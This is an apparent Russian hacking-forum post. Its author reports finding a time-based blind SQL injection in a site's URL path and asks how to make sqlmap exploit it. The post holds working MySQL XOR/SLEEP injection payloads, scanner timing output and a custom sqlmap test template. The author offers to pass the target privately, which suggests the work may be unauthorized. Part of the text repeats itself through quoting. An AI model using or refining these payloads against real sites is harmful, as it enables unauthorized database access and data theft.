Нашел на тестируемом сайте SQL inj с помощью Окуня. Пытаюсь её скормить SQLMAP никак не получается. На хосте нет WAF, Claudflare и т.п.
Окунь:
Потестил в браузере реально sleep работает
http://testsite/catalog/category/time/size/111-1111-12345/ - 200 OK
http://testsite/catalog/category/time/size/111-1111-12345'XOR(if(now()=sysdate(),sleep(1),0))XOR'/ - 200 OK Sleep 1 sec
http://testsite/catalog/category/time/size/111-1111-12345'XOR(if(now()=sysdate(),sleep(15),0))XOR'/ - 200 OK Sleep 15 sec
При не существующем id товара выводится 404 ошибка
(не правильный id 12346 вместо 12345)
Также работает
http://testsite/catalog/category/time/size/111-1111-12345'XOR(SELECT(0)FROM(SELECT(SLEEP(10)))a)XOR'/ - 200 OK sleep 10 sec
Стандартные time based payloads не работали тестил по всякому, не видет скули и всё.
Начал гуглить, нашел тут случай подобный. и взял шаблон из темы, но и с ним ничего не видит.
github.com
Может кто подсказать как составить Payload для такой инъекции, опыта особо нету с sqlmap и такого рода инъекциями. Таргет могу в личку скинуть.
Окунь:
Код:
Attack Details
Path Fragment input /<s>/<s>/<s>/<s>/<n>-<n>-[*]/ was set to 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
Tests performed:
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.434
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.392
0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.741
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.888
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => 3.429
0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.503
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.4
Потестил в браузере реально sleep работает
http://testsite/catalog/category/time/size/111-1111-12345/ - 200 OK
http://testsite/catalog/category/time/size/111-1111-12345'XOR(if(now()=sysdate(),sleep(1),0))XOR'/ - 200 OK Sleep 1 sec
http://testsite/catalog/category/time/size/111-1111-12345'XOR(if(now()=sysdate(),sleep(15),0))XOR'/ - 200 OK Sleep 15 sec
При не существующем id товара выводится 404 ошибка
(не правильный id 12346 вместо 12345)
Также работает
http://testsite/catalog/category/time/size/111-1111-12345'XOR(SELECT(0)FROM(SELECT(SLEEP(10)))a)XOR'/ - 200 OK sleep 10 sec
Стандартные time based payloads не работали тестил по всякому, не видет скули и всё.
Начал гуглить, нашел тут случай подобный. и взял шаблон из темы, но и с ним ничего не видит.
Test Payload: 'XOR(if(now()=sysdate(),sleep(10),0))OR' · Issue #4091 · sqlmapproject/sqlmap
Hello, I have happened to find a vulnerable parameter with this payload: 'XOR(if(now()=sysdate(),sleep(10),0))OR' I haven't been able to automate this with sqlmap, because it seem that payload is n...
Код:
<test>
<title>MySQL >= 5.0.12 SINGLE QUOTES XOR time-based blind (query SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>%27XOR(IF([INFERENCE],SLEEP([SLEEPTIME]),0))XOR%27Z</vector>
<request>
<payload>%27XOR(IF(NOW()=SYSDATE(),SLEEP([SLEEPTIME]),0))XOR%27Z</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>>= 5.0.12</dbms_version>
</details>
</test>
Может кто подсказать как составить Payload для такой инъекции, опыта особо нету с sqlmap и такого рода инъекциями. Таргет могу в личку скинуть.
Последнее редактирование: